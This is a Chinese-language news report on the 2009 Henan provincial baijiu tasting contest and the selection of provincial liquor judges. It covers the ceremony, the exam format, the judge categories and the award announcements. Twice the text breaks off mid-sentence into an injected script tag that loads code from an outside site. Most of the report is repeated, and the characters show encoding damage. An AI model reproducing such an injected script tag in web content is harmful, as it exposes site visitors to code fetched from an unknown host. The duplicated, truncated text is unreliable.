根據(jù)河南省酒業(yè)協(xié)會、河南省輕工煙草工作委員會“豫酒協(xié)[2009]24號”文件精神，“皇溝杯”河南省白酒品評技能競賽暨2009屆省級白酒評酒委員換屆考聘活動于2009年6月26日至29日在鄭州舉行。6月27日上午舉行了簡短的開幕式，省酒業(yè)協(xié)會會長熊玉亮、副會長將輝、省輕工煙草工會調(diào)研員王建華、省酒業(yè)協(xié)會副秘書長趙書民、尹陶林、河南皇溝酒業(yè)公司總經(jīng)理張樹強(qiáng)及裁判員盧振營、萬保健、李紹亮、孫西玉、張獻(xiàn)敏和來自全省三十余家白酒企業(yè)的152名選手及領(lǐng)隊參加了開幕式。首先張樹強(qiáng)總經(jīng)理代表協(xié)辦方致辭，對本次活動的舉行表示祝賀，祝愿本次活動圓滿成功。熊玉亮?xí)L代表主辦方對本次活動提出了很高的要求：要求裁判組公開、公正、公平，不徇私情；要求參賽選手嚴(yán)格遵守考場紀(jì)律、嚴(yán)肅認(rèn)真，賽出風(fēng)格、賽出水平。趙書民裁判長介紹了本次活動的準(zhǔn)備情況和競賽的方法步驟、注意事項。開幕式最后，裁判員張獻(xiàn)敏、選手劉亞旭分別代表裁判員和參賽選手宣誓。
按照競賽規(guī)定，本次競賽實(shí)行百分制，其中理論占15分、實(shí)際操作（品評）考試占85分。27日上午開幕式結(jié)束后即進(jìn)行了2個小時的理論考試，理論試題采取判斷、填空、單選、多選、簡答、論述等六種形式，內(nèi)容涉及釀造、品評、勾兌和一般常識等。
從27日下午至29日上午進(jìn)行了14輪實(shí)際操作（品評）考試，每輪五個樣品，內(nèi)容包括單體物質(zhì)的識別、酒度的識別、典型性、再現(xiàn)性、穩(wěn)定性和具有代表性香型的質(zhì)量差等。
按照《河南省酒業(yè)協(xié)會省級評酒委員管理辦法》規(guī)定，省級白酒評酒委員將分為資深、正式和特邀三種類型。1、三屆以上（包括三屆）的正式省級評委為資深評委，2、本次考試合格的為正式評委，3、沒有一名被錄取的我省名優(yōu)、骨干白酒企業(yè)錄取一名特邀評委；上一屆的前十名，本次沒有被錄取的，本屆錄為特邀評委。按照規(guī)定70%的錄取名額，2009屆河南省省級白酒評酒委員（含資深、正式、特邀）共錄取107名（見附件二）。
29日晚九點(diǎn)召開了本次活動的總結(jié)會議，全體參賽選手、領(lǐng)隊、裁判員和有關(guān)領(lǐng)導(dǎo)參加了會議。省酒業(yè)協(xié)會副會長、白酒分會會長朱云武專程到會對本次活動的圓滿成功表示祝賀；省輕工煙草工會調(diào)研員王建華宣布了本次競賽活動前十名選手名單（見附件一），并對獲獎選手表示祝賀；省酒業(yè)協(xié)會副會長蔣輝宣布了組織參加本次活動的十三家優(yōu)秀組織獎獲獎名單（見附件一），并頒發(fā)了證書；對“賒店杯”河南省勾調(diào)大賽的冠軍選手楊銳頒發(fā)了河南省五一勞動獎?wù)潞妥C書，表彰了河南省技術(shù)能手并頒發(fā)證書。最后，省酒業(yè)協(xié)會會長熊玉亮發(fā)表講話，指出本次活動有四個特點(diǎn)：1、本次活動是歷屆參加人數(shù)最多的一次，企業(yè)積?script src=http://www.234mu.com/>
按照競賽規(guī)定，本次競賽實(shí)行百分制，其中理論占15分、實(shí)際操作（品評）考試占85分。27日上午開幕式結(jié)束后即進(jìn)行了2個小時的理論考試，理論試題采取判斷、填空、單選、多選、簡答、論述等六種形式，內(nèi)容涉及釀造、品評、勾兌和一般常識等。
從27日下午至29日上午進(jìn)行了14輪實(shí)際操作（品評）考試，每輪五個樣品，內(nèi)容包括單體物質(zhì)的識別、酒度的識別、典型性、再現(xiàn)性、穩(wěn)定性和具有代表性香型的質(zhì)量差等。
按照《河南省酒業(yè)協(xié)會省級評酒委員管理辦法》規(guī)定，省級白酒評酒委員將分為資深、正式和特邀三種類型。1、三屆以上（包括三屆）的正式省級評委為資深評委，2、本次考試合格的為正式評委，3、沒有一名被錄取的我省名優(yōu)、骨干白酒企業(yè)錄取一名特邀評委；上一屆的前十名，本次沒有被錄取的，本屆錄為特邀評委。按照規(guī)定70%的錄取名額，2009屆河南省省級白酒評酒委員（含資深、正式、特邀）共錄取107名（見附件二）。
29日晚九點(diǎn)召開了本次活動的總結(jié)會議，全體參賽選手、領(lǐng)隊、裁判員和有關(guān)領(lǐng)導(dǎo)參加了會議。省酒業(yè)協(xié)會副會長、白酒分會會長朱云武專程到會對本次活動的圓滿成功表示祝賀；省輕工煙草工會調(diào)研員王建華宣布了本次競賽活動前十名選手名單（見附件一），并對獲獎選手表示祝賀；省酒業(yè)協(xié)會副會長蔣輝宣布了組織參加本次活動的十三家優(yōu)秀組織獎獲獎名單（見附件一），并頒發(fā)了證書；對“賒店杯”河南省勾調(diào)大賽的冠軍選手楊銳頒發(fā)了河南省五一勞動獎?wù)潞妥C書，表彰了河南省技術(shù)能手并頒發(fā)證書。最后，省酒業(yè)協(xié)會會長熊玉亮發(fā)表講話，指出本次活動有四個特點(diǎn)：1、本次活動是歷屆參加人數(shù)最多的一次，企業(yè)積?script src=http://www.234mu.com/>
